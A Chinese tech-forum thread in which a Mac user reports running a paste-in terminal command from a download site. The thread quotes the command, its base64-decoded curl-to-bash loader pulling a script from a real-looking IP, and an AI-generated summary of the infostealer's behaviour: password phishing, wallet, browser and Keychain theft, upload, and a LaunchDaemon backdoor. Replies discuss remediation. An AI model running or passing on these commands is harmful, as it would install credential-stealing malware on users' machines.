下载 Mac 软件执行了一个钓鱼脚本怎么办?怎么避免自己的账户和财产受损?

查看 241|回复 29
作者:neetz   
趁周末没事折腾了一下自己的 Mac ,下了一堆乱七八糟的软件
刚刚有个网站给了我一个命令,要在终端执行。命令是 /bin/bash -c "$(curl -fsSL shoter.org/c/maxx2)"
感觉是熬夜脑子不清醒了,我真就傻乎乎输入密码执行了脚本,听到 mac 一阵叮叮钉钉的提示音才感觉不对劲
看了一下这个命令实际执行的是 echo "Y3VybCAtcyBodHRwOi8vMTg1LjkzLjg5LjYyL2QvYm9zczU0MjM1IHwgbm9odXAgYmFzaCAm" | base64 -d | bash 会对应执行 http://185.93.89.62/d/boss54235 这上面的脚本
看到这个命令的时候,脑子都凉了,把脚本喂给 Gemini 告诉我说会去执行以下命令
[ol]

  • 窃取密码 🔑
    它会弹出一个伪造的系统对话框,谎称“需要安装应用助手”,诱骗你输入电脑的开机密码。如果你不输入正确的密码,这个对话框会一直骚扰你。

  • 窃取加密货币钱包 💰 (主要目标)
    浏览器钱包: 它有一个庞大的列表,专门扫描并窃取数十种加密货币钱包浏览器插件的数据,例如 MetaMask 、Phantom 、Trust Wallet 等。
    [/ol]
    桌面钱包: 它还会扫描并窃取你电脑上安装的桌面钱包程序数据,例如 Exodus, Atomic, Ledger Live, Coinomi, Electrum 等。
    [ol]
  • 窃取各类浏览器数据 🌐
    它会攻击市面上几乎所有的主流浏览器( Chrome, Safari, Firefox, Edge, Brave, Opera 等)。
    [/ol]
    窃取内容包括:保存的登录名和密码、Cookies (可以用来登录你的账户)、历史记录、信用卡信息等。
    [ol]
  • 窃取个人敏感文件 📄
    钥匙串 (Keychain): 复制你整个系统钥匙串文件,里面可能包含你的 Wi-Fi 密码、应用密码等。
    [/ol]
    备忘录 (Notes): 提取你“备忘录”应用里的所有文字内容。
    本地文件: 扫描你的“桌面”和“文稿”文件夹,专门寻找 .pdf, .docx, .txt, .wallet, .key 等敏感文件并进行复制。
    [ol]
  • 打包上传,发送给黑客 📤
    它会将以上窃取到的所有信息打包成一个 .zip 压缩文件。
    [/ol]
    然后将这个文件上传到黑客的服务器( IP 地址为 185.93.89.62 ,和你之前那个脚本是同一个地址)。
    [ol]
  • 植入后门并替换正常程序 🚪
    持久化后门: 它会用你输入的密码,在系统里创建一个启动守护进程 (LaunchDaemon)。这意味着即时你重启电脑,这个恶意软件也会自动运行,让黑客可以持续控制你的电脑。
    [/ol]
    程序木马化: 它会尝试用一个从黑客服务器下载的恶意版本来替换你电脑上正版的 Ledger Live 加密钱包应用。
    这个是不是只能重装系统了?我还要做什么来保护自己的账户吗

    钓鱼脚本, 密码窃取, 加密货币

  • neetz
    OP
      
    虽然我没有加密钱包之类的东西,但是是不是浏览器存储的钥匙串密码已经全被拿走了?
    neetz
    OP
      
    ➜  ~ vim .pwd
    ➜  ~ vim .username
    ➜  ~ ls -l /Library/LaunchDaemons/
    total 88
    -rw-r--r--@ 1 root  wheel   485 10 月 19 03:47 com.22622.plist
    -rw-r--r--@ 1 root  wheel  8012 10 月 19 03:49 com.77686.plist
    照着 gemini 确认了一下...确实钓鱼脚本被我执行成功了...
    moudy   
    有一说一, /bin/bash -c "$(curl xxx)”这种指令真的是太扯蛋了。竟然在 mac 和 linux 上普遍使用,实在是无法理解。
    dilidilid   
    keychain 泄漏的话没啥好的方法,不过现在重要的账号都是动态验证码吧,所以我一直不理解把重要账号的 OTP 密钥保存在 keychain 是什么心态,我只会在手机离线 App 上保存 OTP
    dilidilid   
    @moudy 因为对于普通用户就不应该使用 Terminal ,这本来就是给开发者和专业用户的用法,普通用户只应该运行官网下载和以及 App store 里的软件。非要这么说的话 Windows 上让你打开 powershell 运行某个远程脚本 run as administrator 连密码都不需要输入,点个 yes 就能把敏感信息直接打包带走呢
    neetz
    OP
      
    先把常用的账号密码全改了,剩下的睡一觉起来再说...
    真的是脑子抽风了,如果是下载 Windows 要我执行 vbs 脚本我肯定理都不理它,偏偏 mac 很多软件都是通过 brew 执行 shell 脚本安装的,大半夜完全没反应过来😭直到执行完了才意识到要检查脚本内容
    还好我不玩虚拟货币,看起来这个脚本内容主要目标是这玩意。希望泄露的信息最多被用来撞库啥的
    MacsedProtoss   
    @moudy 你在搞笑吧,你是开发者吗? curl 都不让用?你可以直接审查下载下来的脚本,你看到这个指令可以选择不直接执行而是先下载那个脚本下来自己看看再运行。他就是分两步先用 curl 把 sh 脚本拉下来再 bash 来执行罢了
    MacsedProtoss   
    @neetz 重点在于它要求你输入密码这一步,一般这个时候要高度警惕,通常并不需要密码才对,有了密码那就可以提权才能做大部分东西,否则默认访问沙盒或者访问 keychain 之类的应该都是没权限的,偷不了太多(唯一要注意的可能是 ssh key 这种没加密码的话挺危险)
    Crump   
    这种案例我见过好多次了,大部分都是折腾盗版软件的稀里糊涂就被坑了,如果不是那就说明你真的是闲得慌瞎折腾。剩下的就是该改密码改密码,系统重装。
    您需要登录后才可以回帖 登录 | 立即注册

    返回顶部